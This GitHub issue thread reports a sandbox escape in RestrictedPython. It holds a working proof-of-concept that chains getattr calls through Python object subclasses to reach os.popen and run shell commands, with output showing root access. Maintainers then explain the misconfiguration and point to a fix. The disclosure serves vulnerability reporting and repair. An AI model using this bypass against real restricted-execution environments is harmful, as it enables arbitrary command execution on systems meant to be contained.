Skip to content

os.popen Bypass #142

Closed
Closed

Description

@PwnFunction

Hello!

I just wanted to let you guys know that there is a work around for executing os module methods without the need of __import__. I'm aware that RestrictedPython is not a "sandbox" or a "secure environment", but since there was "Problematic code example" in the docs, I just wanted to show you how this can be bypassed. I'm not really sure if this is a "bug" or not, but I just wanted to share :)

Bypass

>>> from RestrictedPython import compile_restricted
>>> from RestrictedPython import safe_builtins
>>>
>>> loc={}
>>> exec(compile_restricted("def exec_bypass(): return getattr(getattr(getattr(getattr(getattr([], '__class__'),'__base__'), '__subclasses__')().pop(78), '__init__'), '__globals__').pop('sys').modules.pop('os').popen('id').read()", '<inline>', 'exec'), safe_builtins, loc)
>>> loc['exec_bypass']()
'uid=0(root) gid=0(root) groups=0(root)\n'

Here, I used getattr since I couldn't access whatever that starts with an "_". 78 is the index of <class 'codecs.IncrementalEncoder'> and this index can vary. If you are locally testing this out make sure to first find the index of the class codecs.IncrementalEncoder. I also had to use pop because __getitem__ was not available.

This code kind of translates to the one below

[].__class__.__base__.__subclasses__()[78].__init__.__globals__['sys'].modules['os'].popen("id").read()

Thanks!

Activity

  1. added a commit that references this issue on Oct 25, 2018
  2. loechel commented on Oct 25, 2018

    @loechel
    Member

    @s0cket7 thanks for your report, I have make a proposal to fix that in future releases, might you want to review #143

  3. djay commented on Oct 26, 2018

    @djay

    @loechel is this a bug in the new version of RestrictedPython or affects older versions too?

  4. icemac commented on Oct 26, 2018

    @icemac
    Member

    @s0cket7 Thank you for your report, it has shown two weaknesses:

    1. in the documentation: compile_restricted has to be called with dict(__builtins__=safe_builtins) instead of safe_builtins as the latter one keeps the getattr implementation from Python which allows all sorts of access. Using dict(__builtins__=safe_builtins) in your example results in NameError: name 'getattr' is not defined as RestrictedPython does not provided a default getattr implementation.

    2. in the implementation of safer_getattr: Even using the provided safer_getattr implementation allows the kind of access you have shown. (It can be used using dict(__builtins__=safe_builtins, getattr=RestrictedPython.Guards.safer_getattr).)

    Both are fixed in #143.

  5. PwnFunction commented on Oct 26, 2018

    @PwnFunction
    Author

    My pleasure and thank you for fixing it quickly :)

  6. icemac commented on Oct 26, 2018

    @icemac
    Member

    @djay RestrictedPython 3.x is not affected because it does not provide an example getattr implementation.

    Zope and Plone are not effected because they provide their own getattr implementation which do not allow to access attribute names starting with an underscore.

  7. added a commit that references this issue on Oct 29, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions